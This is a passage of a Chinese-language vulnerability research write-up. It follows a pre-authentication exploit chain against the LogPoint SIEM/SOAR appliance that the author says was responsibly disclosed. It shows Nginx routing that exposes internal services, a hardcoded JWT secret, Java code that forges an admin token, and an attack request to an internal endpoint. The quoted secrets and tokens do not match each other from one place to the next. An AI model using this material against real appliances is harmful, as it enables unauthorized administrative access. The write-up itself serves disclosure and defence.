本文信息来源:mehmetince

那是 2024 年 5 月,我们的内部安全团队正在评估 LogPoint SIEM/SOAR 平台,作为潜在替代现有平台的候选方案。作为我多年养成的习惯——说实话,这也是我们第三方尽职调查的一部分——我给自己 24 小时,去对任何我们即将信任的技术做我一贯会做的事:尝试攻破它。

这 24 小时很快就足以让我几乎立刻发现 三个严重漏洞 。鉴于它们的影响,我就此止步,并直接进行了负责任披露。

数月之后,当我终于有了充裕的时间,我再次回头研究这个系统,但目的已不再是寻找更多漏洞,而是更好地理解它。第二次深入分析揭示了一个更有意思的事实:六个看似彼此独立、微不足道的 漏洞 ,是如何汇聚成一个规模大得多的问题。

本文讲述了这个故事。它跟随一位 hacker 人类的 推理 过程,在陌生的代码、未记录的行为以及从未打算被检验的假设中不断探索。一路上,有走弯路和死胡同,也有那些对细微异常产生直觉的时刻,而通过细致的检查,将这种感觉转化为具体的发现。

希望你能和我一样享受这段旅程。祝大家新年快乐 🎊 🥳

TL;DR: 本文详细讲解了如何通过串联 6 个看似微不足道的漏洞 ,一步步构建一个预认证 RCE 利用链的完整过程。我首先对该设备的请求流进行映射(两层 Nginx,以及主机侧 Python 服务与基于 Docker 的 Java 微服务之间的分离)。随后,利用链逐步成型:暴露的内部路由引出了认证原语,硬编码的签名密钥使伪造访问成为可能,泄漏的内部 API 凭据在微服务体系中解锁了更高权限,SSRF 跳板触达仅限主机访问的 Python 端点以铸造管理员会话,最终,通过导入的告警规则包中使用的静态 AES 加密密钥绕过校验,使规则引擎的 eval() 漏洞点变得可达。每一节都展示了证据与推理过程,以及一个弱点如何成为撬动下一个的杠杆,直到最终触发器在该设备上执行代码。

1. 访问主要软件代码库

这本是我预期中会很无聊的部分。研究一开始还是老套路:从一个 .iso 镜像和我本地实验室里的一台全新 VM 着手。由于该产品是基于 Ubuntu 构建的,并且在操作系统层面没有做额外加固,标准的 Ubuntu 恢复流程 就足以重新获取 root 访问权限并启用 SSH,让我拥有了一个稳定、可用于分析的环境。

在访问权限到位之后,我转向代码本身。主要的 Web 应用是用 Python 编写的,基于一个定制的 Flask 框架,代码位于:


/opt/makalu/installed/webserver/

不过,这并不是一个完全透明的代码库。和许多生产环境中的安全设备一样,大量的 Python 逻辑只以已编译的 .pyc 文件形式提供。为了能更方便地进行分析,我将相关目录复制到本地,并使用 uncompyle6 对这些孤立的字节码进行反编译,重建缺失的源码。

这些都属于相当常规的逆向工程工作,所以具体细节我就不再赘述了。


#!/bin/bash

# Function to traverse directories and check for .pyc files
check_pyc_files() {
 # Use find to locate all .pyc files
 find . -type f -name "*.pyc" | while read pyc_file; do
   # Remove the .pyc extension and replace with .py to find corresponding .py file
   py_file="${pyc_file%.pyc}.py"


   # Check if the corresponding .py file exists
   if [[ ! -f "$py_file" ]]; then
     # If not, print the .pyc filename
     echo "No matching .py file for: $pyc_file"
     uncompyle6 $pyc_file > $py_file
   fi
 done
}


# Call the function to start checking from the current directory
check_pyc_files

我原以为这些就足以让我快速进入手动源码分析。但很快我就发现,LogPoint 远比我最初设想的要复杂得多。原本以为只是一次快速的表层审查,最终却演变成了更为深入的研究,我也意识到自己此前不过是触及了皮毛。

2. 当传统系统与容器相遇!理解技术架构概览

在同时花了几个小时研究操作系统和代码库之后,产品的历史逐渐显现出来。一些最初让我觉得奇怪的设计选择,在我理解了产品随着时间推移所经历的转型后,开始变得合理起来。

LogPoint 显然是作为一个以 SIEM 为先的平台来设计的。其架构反映了那个时代的特征:像 Python 后端、日志规范化器以及数据库组件等核心服务,都是直接运行在宿主操作系统之上的——这是在 Docker 和现代容器编排成为主流之前所采用的设计。

随着市场向自动化响应转变,LogPoint 需要进化。这种进化以 SOAR 的形式体现出来,这是一项难以直接融入原始架构的新能力。与其重写整个系统,不如以 Docker 的方式引入新的 SOAR 组件。一旦启用 SOAR,容器化服务就会与传统的基于主机的服务一同启动,清晰地划分出产品的过去与现在。

-> SIEM 关注的是可视性——收集并关联安全事件,以告诉你发生了什么 。
-> SOAR 关注的是行动——自动化响应,使后续真正采取行动。
如果说 SIEM 是拉响警报的系统,那么 SOAR 就是拉动拉杆的那个。

下图反映了我对整体技术架构的高层理解。SOAR 组件以 Docker 容器的形式运行,配置为桥接网络接口,与长期存在的宿主机级服务并行部署。

Logpoint 架构

在没有投入大量工程成本的情况下,几乎不可能将现有服务和核心软件迁移到 Docker 实例中。因此,他们放松了 Docker 网络加固,允许所有进程彼此通信。

还有一个细节值得特别指出。所有这些 SOAR 微服务都使用 Java 实现,并运行在容器网络内部。这意味着这种演进不仅是架构层面的,也是技术层面的,从最初基于 Python 的技术栈,明确转向了 Java 技术 。仅这一变化就引发了关于一致性、既有假设以及信任边界的诸多问题,我将在后文中回到这些问题。

2.1 追踪外部攻击向量

最终目标很简单: 预认证远程代码执行 。在与安全产品打交道并对其进行攻破的二十多年里,我学到了一点:理解系统设计往往是构建可靠攻击向量的最有效方式。一旦架构清晰,越是深入这个“兔子洞”,遇到的意外就越少,也越容易推理出可能出问题的地方。

下图是我在研究过程中对系统的理解。由于默认的 iptables 规则:我们只能访问默认启用的 80 和 443 端口 。

这意味着需要重点关注两个 Nginx 实例。为了确定哪些内容可以从外部访问 (图中标注为 ATTACKER HTTP 请求),我直接查看了它们的配置。

第一个 Nginx 实例位于设备边缘,负责处理 443 端口上的所有入站请求。第二个 Nginx 运行在容器化环境中,并将流量路由到 SOAR 微服务。任何外部请求在到达容器层之前都必须先经过外层 Nginx,这使得两者之间的边界从安全角度来看尤为值得关注。

2.2 两个 Nginx 实例的故事

让我们来看一下 第一个 NGINX 配置 。你可以在 /opt/makalu/installed/webserver/deploy/nginx.conf 找到该配置文件


location /soar/ {
    set $session_cookie $http_cookie;
    add_header logpoint-cookie $session_cookie;
    proxy_pass https://localhost:9443/soar/;
}

# ... OMITTED CONFIG ...

location /soar/sso/ {
    proxy_pass_request_headers on;
    proxy_pass https://localhost:9443/sso/;
}

location /soar/elastic/ {
    #proxy_pass https://elastic:9200/$request_uri;
    proxy_pass https://localhost:9443/elastic/;
}

location ~ ^/soar/(backend|data|reports-service|multi-tenant) {
    rewrite ^/soar/(.*)$ /$1 break;
    proxy_pass https://localhost:9443/$1;
}

location /soar/api/ {
    proxy_pass_request_headers on;
    proxy_send_timeout 600;
    proxy_read_timeout 600;
    send_timeout 600;
    proxy_pass https://localhost:9443/api/;
}

乍一看,它主要充当反向代理,将选定的 URL 路径转发到一个监听在 9443:9443 的内部服务。大多数与 SOAR 相关的端点,以及静态资源和运行时资源,都会以最小的转换被直接传递。


root@logpoint:~# docker ps |grep front
9345cf9e5e7d   secbi/frontend-v3:v2.1.0   "/docker-entrypoint…"   2 weeks ago   Up 42 minutes   soar-frontend

root@logpoint:~# docker exec -it 9345cf9e5e7d bash
bash-5.1# cat /etc/nginx/nginx.conf |grep 9443
    listen 9443 ssl http2;
    listen [::]:9443 ssl http2;
bash-5.1# cat /etc/nginx/nginx.conf |grep 'proxy_pass\|location'

只需简单地列出 Docker 并访问 secbi/frontend 实例,就能帮助我确认这些请求被发送到了第二个 Nginx,而它监听在 localhost:9443

现在,让我们来看看第二个 NGINX 的配置。由于配置文件较长,我只是 grep 了最重要的几行。这将让你对正在发生的事情有一个整体的了解。


location / {

    ... OMITTED CONFIG ...

    location /soar/ {
    }

    location /soar/images {
    }

    location /soar/login/ {
    }

    location /login {
    }

    location /soar/mssp {
    }

    location /mssp {
        proxy_pass http://soar-mssp-service:9070;
    }

    location /soar/schedule {
    }

    location /schedule {
        proxy_pass http://secbi-scheduler-service:9861;
    }

    location /soar/notifications {
    }

    location /notifications {
        proxy_pass http://soar-notifications-service:8111;
    }

    location /api {
        proxy_pass http://secbi-api-service:8787;
    }

    location /data {
        proxy_pass http://secbi-data-service:9987;
    }

    location /backend {
        proxy_pass http://secbi-backend-service:9088;
    }

    location /elastic {
        proxy_pass http://elastic:9200/;
    }

    location /sso {
        proxy_pass http://secbi-login-service:8072;
    }
}

与外层代理不同,这一层充当多个 SOAR 微服务之间的流量调度器。每一条路径都被直接映射到特定的后端 service、scheduler、notification engine、API layer,甚至是 Elasticsearch 本身。

这里最引人注目的是 Nginx 路径配置的宽松程度。过于宽泛的路由规则使得仅通过 URL 路径就能轻而易举地访问内部服务。此时,Nginx 已不再承担安全边界的职责;它只是负责转发流量,而一旦路径匹配,往往就足以让一个请求被信任并转发。

漏洞 1 – Nginx 路径路由配置错误

通常来说,这种设计有风险但并不一定危险。它假设其后的每一个端点都能正确地执行认证和授权。当中心会话机制使用 JWT 时,这种方式往往运作良好。用户提交代币;代理负责转发;每个服务各自独立校验身份和权限。(顺便一提,使用 API Gateway 是更好的做法)

但正是在这里,攻击者思维开始发挥作用。这样的路由层会极大地扩大攻击面。我面对的不再是一个单一的应用程序,而是一整组内部服务的集合——每个服务都有自己的端点、假设和边界情况。而我所需要的,只是某一个地方的一次失误,就足以顺着这根线一路拉下去。

这一认识让我回到了自这项研究一开始就一直在反复思考的一个问题:一个传统的 Python 后端,究竟是如何与一组现代化的 Java 微服务协同工作的!?

Python 后端一侧的认证,是如何在 SOAR 体系(Docker 服务)中被共享和验证的?

最关键的任务就是回答这些问题。于是我开始进行一些直接的测试。首先,我知道这些容器可以通过 HTTP 彼此通信,毕竟这是内部通信。并且我也知道 Docker 运行在 bridge 模式下,这为我在 Docker 之间的通信过程中获取更多可见性提供了一种相当容易的方法


root@logpoint:~# tcpdump -i lo -vvv -s 0 -A 'tcp[((tcp[12:] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:] & 0xf0) >> 2):4] = 0x504f5354'

tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes

08:58:40.776227 IP (tos 0x0, ttl 64, id 52811, offset 0, flags [DF], proto TCP (6), length 210)
    localhost.37562 > localhost.8072: Flags [P.], cksum 0xfec6 (incorrect -> 0xcda9), seq 1525306448:1525306618, ack 1891361062, win 22, length 170
E..k.@.@..2.TPp8....
.....GET /sso/v1/health HTTP/1.1
Host: soar-login-service:8072
User-Agent: Consul Health Check
Accept: text/plain, text/*, */*
Accept-Encoding: gzip
Connection: close

^C
3 packets captured
6 packets received by filter
0 packets dropped by kernel

在主机本地接口上运行一个简单的 tcpdump 就足以逐条展示所有内部 HTTP 请求。几乎立刻,终端就开始被流量淹没。

我使用管理员用户登录到产品,进入 设置 > SOAR 设置 https://192.168.179.136/soar/settings#/ 。我查看了我的 Burp Suite 日志,发现了大量请求。当我回头看运行着 tcpdump 的终端时,简直乱成一团。内部流量的规模远远高于仅通过 UI 交互所能想象的程度。

我开始仔细阅读 Burp Suite 日志,并挑选了其中的一个 https://192.168.179.136/soar/api/v1/session/username 请求。在重置终端并清空所有输出后,我使用 CTRL + R 将该请求发送到 Repeater,并通过点击 Repeat 按钮触发了一次。

当你重复该请求时,可以立刻在 tcpdump 的输出中看到出现了 2 个不同的 HTTP 请求。


root@logpoint:~ tcpdump -i lo -vvv -s 0 -A 'tcp[((tcp[12:] & 0xf0) >> 2):4] = 0x47455420 or tcp[((tcp[12:] & 0xf0) >> 2):4] = 0x504f5354'

tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 162144 bytes
E...o@.@.......d'S,.A.8#..P......GET /api/v1/session/username HTTP/1.0
Host: localhost:9443
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Proto: https
Connection: close
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
accept: application/json
sec-ch-ua-mobile: ?0
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
sec-ch-ua-platform: "Windows"
sec-fetch-site: same-origin
sec-fetch-mode: cors
sec-fetch-dest: empty
referer: https://192.168.179.136/soar/settings
accept-encoding: gzip, deflate, br
accept-language: en-US,en;q=0.9
priority: u=1, i
cookie: ldap_login_domain=; settings-category=system; settings-history=%7B%22admin%22%3A%5B%7B%22name%22%3A%22Manage%20Deactivated%20Users%22%2C%22url%22%3A%22Users%2FManage%22%7D%2C%7B%22name%22%3A%22System%20Settings%22%2C%22url%22%3A%22System%22%7D%5D%7D;
session=96ba21e449fc4a28_66714edb.VBehj2LxPrac_AFhtZZarjLdDqk; activeNavMenu=/soar/settings

09:12:02.697196 IP (tos 0x0, ttl 64, id 59246, offset 0, flags [DF], proto TCP (6), length 359)
    localhost.59452 > localhost.8072: Flags [P.], cksum 0xff5b (incorrect -> 0x1023), seq 3606162607:3606162926, ack 3263890617, win 22, length 319
E..g.n.@.@.......
......POST /sso/v1/logpoint/validate-cookie HTTP/1.1
Content-Type: application/json
Accept: application/json
Content-Length: 81
Host: secbi-login-service:8072
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.14 (Java/17.0.8.1)

{"key":"session","value":"96ba21e449fc4a28_66714edb.VBehj2LxPrac_AFhtZZarjLdDqk"}

09:12:03.787639 IP (tos 0x0, ttl 64, id 27504, offset 0, flags [DF], proto TCP (6), length 219)

这两个请求解答了我的疑问。第一个请求 GET /api/v1/session/username 是我直接触发的。而第二个请求 POST /sso/v1/logpoint/validate-cookie 则是由微服务在后台自动生成的!让我来解释一下发生了什么。

1 – 从外部世界,我向 /soar/api/v1/session/username 发送了一个请求。由于以下 第 1 个 NGINX 规则,它被转发到了 https://localhost:9443/api/


location /soar/api/ {
    proxy_pass_request_headers on;
    proxy_send_timeout 600;
    proxy_read_timeout 600;
    send_timeout 600;
    proxy_pass https://localhost:9443/api/;
}

2 – 按照 第 2 个 NGINX 规则,它生效并将请求转发到了 api-service 容器


location /api {
    proxy_pass http://secbi-api-service:8787;
}

3 – Api Services 从请求中获取会话 cookie,并发送一个全新的 HTTP POST 调用到 POST /sso/v1/logpoint/validate-cookie 端点,同时携带一个用于验证会话的 body!

4 – 这个端点同样来自 api-service 容器。不知为何,这个函数验证了我们的会话。但是,说真的……它到底是如何做到的?

但在跟随白兔、反编译 Java 微服务之前,我先停下来,把注意力集中在这个漏洞本身。 /sso/v1/logpoint/validate-cookie 这个端点立刻显得格外醒目。显然,这个端点本不应该对公众开放。然而,从攻击者的角度来看,我只需在路径前加上 /soar/ 前缀,就可以直接访问它。

这一刻让人无法忽视。没有任何认证方面的花招,也还谈不上绕过逻辑。仅仅是一次简单的路径重写,悄无声息地把一个内部端点变成了暴露在外部世界中的接口。

一枚 Cookie,多重跳转:绘制 SOAR 认证管道

现在是时候一路追随兔子洞到底了。为了理解真正发生了什么,我需要深入查看各个微服务本身。是否还有其他端点明目张胆地隐藏着?Cookie 校验在幕后究竟是如何运作的?

我从每一个 Docker 镜像中复制了所有的 JAR 文件,并将它们全部解压到
同一个文件夹中,以便持续追踪执行流程。(简单的小技巧:组合使用 docker ps、grep、docker cp、procyon-decompiler)

Login-service: com/secbi/login/generated/api/logpoint/LogpointApi.java 包含以下代码片段,对应于我们在第二个请求中看到的 API 端点。


@RequestMapping(
    value = "/logpoint/validate-cookie",
    produces = { "application/json" },
    method = RequestMethod.POST
)
default ResponseEntity<ValidateCookieResponse> validateCookie(
    @ApiParam(value = "cookie as String", required = true)
    @Valid @RequestBody final Cookie cookie
) {
    try {
        return ResponseEntity.ok(
            authService.validateCookie(cookie.getValue())
        );
    }
    catch (Exception e) {
        LogpointApi.log.error("Cookie validation failed", e);
        return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).build();
    }
}

上述代码在 try-catch 结构中调用了 validateCookie(),这意味着我们需要不断跳转到这些方法定义中,以理解执行流程。


public ResponseEntity<ValidateCookieResponse> validateCookie(
        @ApiParam(value = "cookie", required = true)
        @Valid @RequestBody final Cookie cookie
) {
    ValidateCookieResponse validateCookieResponse;

    try {
        validateCookieResponse =
            this.logpointAuthorizationManager.validateCookie(cookie);
    }
    catch (final SecBiException e) {
        throw new CustomException(
            ErrorsEnum.GENERIC_500.getId(),
            (Throwable) e
        );
    }

    return (ResponseEntity<ValidateCookieResponse>)
        new ResponseEntity(
            (Object) validateCookieResponse,
            HttpStatus.OK
        );
}

在第 9 行有来自 logpointAuthorizationManager 的 validateCookie()。继续追踪调用。


public ValidateCookieResponse validateCookie(final Cookie cookie) throws SecBiException {

    this.validateCookieStructure(cookie);

    final String cookieValue = cookie.getValue();

    final ActiveCookieValidationResult activeResult = this.cookieValidator.validateActive(cookie);

    if (!activeResult.isActive()) {
        this.removeLocalSession(cookie);
        LogpointAuthorizationManager.logger.info(
            String.format("verifyCookieStatus for cookie %s returns:INVALID_COOKIE", cookieValue)
        );
        return new ValidateCookieResponse()
            .cookieStatus(CookieStatus.INVALID_COOKIE.name());
    }

    final LocalSessionDetails localSession = this.localSessionsStorage.fetchByCookieValue(cookieValue);

    if (localSession != null) {
        this.localSessionsStorage.updateLastActiveTimestampMillis(
            cookieValue,
            System.currentTimeMillis()
        );

        LogpointAuthorizationManager.logger.info(
            String.format(
                "verifyCookieStatus for cookie %s returns:VALID_COOKIE_WITH_LOCAL_SESSION",
                cookieValue
            )
        );

        return new ValidateCookieResponse()
            .cookieStatus(CookieStatus.VALID_COOKIE_WITH_LOCAL_SESSION.name())
            .user(activeResult.getUser());
    }

   // ... OMITTED CODE ...
}

这里有两个重要的函数调用:

  • 第 18 行:fetchByCookieValue() 接收的是 cookie 值本身
  • 第 7 行:validateActive() 接收的是 cookie 对象本身

如果你还记得前面几个章节中 Burp Suite 截图里的 HTTP 响应,这里出现了同样的错误代码 VALID_COOKIE_WITH_LOCAL_SESSION ,如今它直接出现在源代码的第 28 行。这立刻缩小了排查范围。在做其他事情之前,我需要先弄清楚第 18 行的 fetchByCookieValue() 调用到底发生了什么。


public LocalSessionDetails fetchByCookieValue(final String cookieValue) {
    if (StringUtils.isBlank((CharSequence) cookieValue)) {
        return null;
    }

    final Document cookieValueQuery =
        new Document("cookie.value", (Object) new Document("$eq", (Object) cookieValue));

    final FindIterable<LocalSessionDetails> localSessionDetails =
        (FindIterable<LocalSessionDetails>) this.localSessionsColl.find((Bson) cookieValueQuery);

    if (localSessionDetails == null) {
        return null;
    }

    return (LocalSessionDetails) localSessionDetails.first();
}

这个函数完全如其名称所示。它查询 MongoDB 并验证会话,仅此而已。没有奇怪的逻辑,没有可疑的捷径,也没有任何乍看之下让人觉得可以被利用的地方。

但随后第 7 行再次进入视野。validateActive() 并不是在校验一个 代币 或字符串,它接收的是 cookie 对象本身。而且,尽管目前这个 Java 实现看起来相当稳健,但经验教会了我一件事:即使一切看起来都没有问题,恰恰是在这种时候你更应该继续读下去。你永远不知道自己会发现什么。


public ActiveCookieValidationResult validateActive(final Cookie cookie) {

    final LogPointUser user =
        (LogPointUser) this.logpointCookiesCache.get(cookie);

    if (user != null) {
        return new ActiveCookieValidationResult()
            .active(true)
            .user(user);
    }

    final ActiveCookieValidationResult activeCookieValidationResult = this.externalValidation(cookie);

    // ... OMITTED CODE ...

    return activeCookieValidationResult;
}

这就有点意思了。方法的命名开始显得更有希望了。现在我们来看看 externalValidation()


public ActiveCookieValidationResult externalValidation(final Cookie cookie) {

    if (this.loginConfig.isCookieValidationUseNewApi()) {
        return this.externalValidationNewApi(cookie);
    }

    return this.externalValidationOldApi(cookie);
}

事实证明,externalValidation() 函数出奇地简单。它检查 isCookieValidationUseNewApi(),而这个方法所做的不过是通过基础的 setter 和 getter 返回一个值。


private ActiveCookieValidationResult externalValidationNewApi(final Cookie cookie) {

    UserInfoByCookieApiResponse userInfoByCookieApiResponse;

    try {
        userInfoByCookieApiResponse =
            LogPointUtils.fetchUserInfoByCookie(
                this.loginConfig.getLogpointServer(),
                (int) Integer.valueOf(this.loginConfig.getLogpointPrivateApiPort()),
                cookie
            );
    }
    catch (final SecBiException e) {
        throw new CustomException(
            ErrorsEnum.LOGPOINT_COOKIE_VALIDATION_ERROR.getId(),
            (Throwable) e
        );
    }
}

最后,RestClient 终于进入视野。这就是缺失的那一环。我放入请求中的 cookie 会流经所有这些函数,最终被交给 RestClient,用于向另一个端点进行校验。理论上,该端点属于运行在主机上的旧版 Python 后端,

请稍微跟我一下,我们就快到了。在结束这次“兔子洞”之旅之前,最后一站是 fetchUserInfoByCookie()


public static UserInfoByCookieApiResponse fetchUserInfoByCookie(
        String logpointServer,
        int logpointPrivateApiPort,
        String logpointPrivateApiSchema,
        Cookie cookie
) {

    LogPointRestClientImpl logPointRestClient = null;
    UserInfoByCookieApiResponse result;

    try {
        logPointRestClient =
            new LogPointRestClientImpl(
                logpointServer,
                String.valueOf(logpointPrivateApiPort),
                logpointPrivateApiSchema,
                restClientConfig
            );

        result = logPointRestClient.fetchUserInfoByCookie(cookie);
    }
    finally {
        IOUtils.closeQuietly(logPointRestClient);
    }

    return result;
}

最后,RestClient 再次进入视野。我在请求中包含的 cookie 会流经所有这些函数,最终被交给 RestClient,用于向另一个端点进行验证。理论上,该端点属于运行在主机上的旧版 Python 后端!

让我们简单回顾一下我们一直在追踪的调用链。


Burp Suite
 → GET /api/v1/session/username
   → frontend NGINX
     → login-service
       → validateCookie(controller)
         → logpointAuthorizationManager.validateCookie
           → cookieValidator.validateActive
             → cache lookup
             → externalValidation
               → externalValidationNewApi
                 → LogPointUtils.fetchUserInfoByCookie
                   → LogPointRestClientImpl.fetchUserInfoByCookie   <-- HERE WE ARE
           → Mongo localSessionsStorage.fetchByCookieValue

为了证明我们可以一路打到那里,我将我们的 cookie 值改成了一个不存在的值。因此,我们就能够避开该服务的内部缓存,并最终到达 fetchUserInfoByCookie()

本应返回一个错误,但对我来说真正令人震惊的时刻其实发生在我的终端上。我查看了 secbi/login-service 容器日志,看到了这条消息。


2024-06-18 10:09:37.882 INFO  [nio-8072-exec-7]c.s.r.c.e.l.LogPointRestClientImpl
fetching user information by cookie...

2024-06-18 10:09:37.882 INFO  [nio-8072-exec-7]c.s.r.c.e.l.LogPointRestClientImpl
LOGPOINT API call:
Method: GET
URL: http://127.0.0.1:18000/User/preference
cookie: class Cookie {
  key: session
  value: INVALIDCOOKIE
}

我记得这个端点来自对 Python 后端代码的分析。当时,它的用途并不清楚。现在终于说得通了。我在这一路上学到的一切都在这里汇聚,而且它在后面会变得非常重要。

最初的问题得到了答案,但它却让我产生了比一开始更多的疑问。而这通常是一个好迹象。

一个答案引出了多个问题

我们现在已经理解了位于 /soar/api/v1/session/username 的 secbi/login-service 端点在内部是如何工作的。但它非但没有画上句号,反而引出了更多的问题:

  • 为什么会存在一个只用于返回用户名的 API?
  • 那其他 Docker 服务呢,比如 secbi/backend-service、secbi/api-service 或 secbi/workflows?
  • 对这些服务的每一个请求,是否都会触发一次对 secbi/login-service 的内部调用,然后再次调用 127.0.0.1:18000/User/preference ?
  • 在这样规模的 SOAR 平台中,授权究竟是在哪里实际发生的?
  • 为什么不在 secbi/* 微服务之间使用共享的 JWT 模型,而是选择串联内部 HTTP 请求?

此时,这种设计开始显得不那么像优化,反而更像是一个值得被质疑的假设。

漏洞 2:硬编码的 JWT SECRET 以及对所有 SOAR API 的认证绕过

在更清楚地理解了 Java 服务与遗留的 Python 后端之间的会话校验是如何工作的之后,一个问题始终萦绕在我心头。用户发起的请求可能会遵循这一连串的 HTTP 调用,但服务与服务之间的请求又是如何进行认证的呢?工作流、调度器、cron 作业的运行背后并没有用户参与,一定有什么机制在支撑这一切。

这时,那种熟悉的凌晨 4 点的感觉涌上心头。问题太多,答案太少。我暂时放下手头的工作,睡了一觉,几个小时后带着更清醒的头脑回来。这一次,我提醒自己为什么我喜欢做这类事情。阅读他人的代码、理解他们的决策、顺着他们铺设的路径一路追踪,本身就是乐趣的一半。于是我不再继续堆砌问题,而是选择做最简单的事情——回到代码里,继续读下去。

几分钟之内,我就偶然发现了下面这个 controller 方法。这本身并没有什么可以直接利用的地方,但这个标注为 secbi_auth_token 的 RequestHeader 到底是怎么回事?它甚至在默认情况下都不是必需的??


@RequestMapping(
    value = "/user/auth/apikey",
    produces = {"application/json"},
    method = RequestMethod.GET
)
default ResponseEntity<List<ApiCredentials>> getAllApiCredentialsByToken(
    @ApiParam("The authentication token as generated upon login")
    @RequestHeader(value = "secbi_auth_token", required = false)
    final String secbiAuthToken
) {

    if (this.getObjectMapper().isPresent() && this.getAcceptHeader().isPresent()) {
        if (!this.getAcceptHeader().get().contains("application/json")) {

            return (ResponseEntity<List<ApiCredentials>>)
                new ResponseEntity(HttpStatus.NOT_IMPLEMENTED);
        }

        try {
           // ... OMITTED CODE ...
        }
        catch (final IOException e) {
            // ... OMITTED CODE ...;
        }
    }
    // ... OMITTED CODE ...
}

几分钟后,一切终于豁然开朗。答案其实已经写在代码里了。在内部,这些微服务为每个用户支持一种 API key 机制。它默认并未启用,至少目前还没有,但相关的管道和基础设施显然已经存在。

再深入挖掘一点,就直接指向了我正在寻找的那个文件 JWTLoginAuthorizationManager.java 。正是在这里,这项研究开始不再只是学术层面的分析!我真的开始觉得,手里可能已经有东西可以被滥用了!

这个类使用一个硬编码的 secret 来处理 JWT 的校验,不仅负责验证 token,还会返回与之关联的权限信息。服务到服务之间的认证逻辑,突然一下子就变得非常清晰了。


public class JWTLoginAuthorizationManager
        extends AbstractLoginAuthorizationManager {

    private static final String JWT_ENCODED_SECRET = "WW4wWVRGQVdid0ZsTDhXWFNUQXJDQ0JWVEdzPQ==";

    private static final String CLAIM_USERNAME = "username";
    private static final String CLAIM_TOKEN_TYPE = "token_type";
    private static final String CLAIM_ROLE = "role";

    private boolean tokenExpirationEnabled;
    private int expirationMins;

    public JWTLoginAuthorizationManager(
            final boolean tokenExpirationEnabled,
            final int expirationMins
    ) {
        this.tokenExpirationEnabled = tokenExpirationEnabled;
        this.expirationMins = expirationMins;
    }

    public void init(final Properties properties) {
        super.init(properties);
    }

    public IUser verifyUserAuthToken(final String authToken) {
        IUser user;

        try {
            if (StringUtils.isBlank((CharSequence) authToken)) {
                throw new CustomException(
                    ErrorsEnum.INVALID_AUTH_TOKEN.getId()
                );
            }

            final Claims claims = this.getTokenClaims(authToken);

            final TokenType tokenType =
                TokenType.getByType(
                    claims.get((Object) "token_type").toString()
                );

            if (!TokenType.AUTH.equals((Object) tokenType)) {
                throw new CustomException(
                    ErrorsEnum.INVALID_TOKEN_TYPE.getId()
                );
            }

            user = (IUser) new User();
            user.setUsername(
                claims.get((Object) "username").toString()
            );
            user.setRole(
                UserRole.valueOf(
                    claims.get((Object) "role").toString()
                ).getRole()
            );
            user.setTokenStrategy(TokenStrategy.JWT.name());
        }
        catch (Exception e) {
            throw e;
        }

        return user;
    }
}

该类会验证 secbi_auth_token JWT,并从令牌声明中派生用户身份和角色。第一个关键且可直接利用的问题是,签名密钥被硬编码为一个静态常量。我可以自行伪造有效的 JWT,设置 token_type=AUTH,并包含任意的 username 和 role 声明,从而访问 Java 微服务体系中任何依赖 secbi_auth_token 头的接口!!!

伪造有效的 JWT Token

一开始我将所有必需的 jar 文件从 Logpoint 实例复制到本地。我使用它们构建了以下代码,用于伪造一个有效的 JWT token。


import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.TextCodec;
import io.jsonwebtoken.JwtBuilder;
import io.jsonwebtoken.Claims;
import io.jsonwebtoken.ExpiredJwtException;
import io.jsonwebtoken.MalformedJwtException;
import io.jsonwebtoken.SignatureException;

import java.util.Date;

public class Main {
    public static void main(String[] args) {
        System.out.println("Hello world!");
        final JwtBuilder jwtBuilder = Jwts.builder().setSubject("admin")
                .claim("username", (Object) "admin")
                .claim("role", (Object) "SUPER")
                .claim("token_type", (Object) "AUTH").
                setIssuedAt(new Date(System.currentTimeMillis())).signWith(SignatureAlgorithm.HS256, TextCodec.BASE64.decode("WW4wbWRGQVdjd0ZsTDhXWFNUQXJDQ0JvVEdzPQ=="));
        System.out.println(jwtBuilder.compact());
    }
}

请注意,所有 Logpoint 实例默认都会创建一个名为 “admin” 的用户名。一旦你构建并运行上述代码,就会得到以下魔法 token。

魔法 JWT Token:
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4iLCJyb2xlIjoiU1VQRVIiLCJ0b2tlbl90eXBlIjoiQVVUSCIsImlhdCI6MTcxODcwNzI4OH0.EBgc_BGubwbLH-91M4rFnd0BguvTAJHod1YObw5fqJc

我访问了 /soar/sso/v1/user/auth/apikey 端点。而和之前一样,目标是从外部网络访问到它。为此,我只需在路径前加上 /soar/sso,这会告诉第一个 Nginx 实例将请求直接路由到登录微服务。


// HTTP REQUEST TO THE FIRST NGINX FROM THE OUTSIDE WORLD

GET /soar/sso/v1/user/auth/apikey HTTP/2
Host: 192.168.179.136
secbi_auth_token:eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhb2glbmlsInVzZXJuYW1lIjoidWRtaW4iLCJyb2xlIjoiQVRNIiwiZXhwIjoxNzAxMTM2MDcsImlhdCI6MTcwMTEzMjA3fQ.1COlbZflJq0eXBlHj01QWVSClmhDCN6tXODcwNVt40HO.E8bc_BGubwbLH-S1M4rFndObqvVTAJHodIYOb5GJqC
Sec-Ch-Ua: "Chromium";v="125", "Not.A/Brand";v="24"
Accept: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.179.136/soar/automation/playbooks
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i



// RESPONSE
HTTP/2 200 OK
Server: nginx
Date: Tue, 18 Jun 2024 10:44:11 GMT
Content-Type: application/json
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
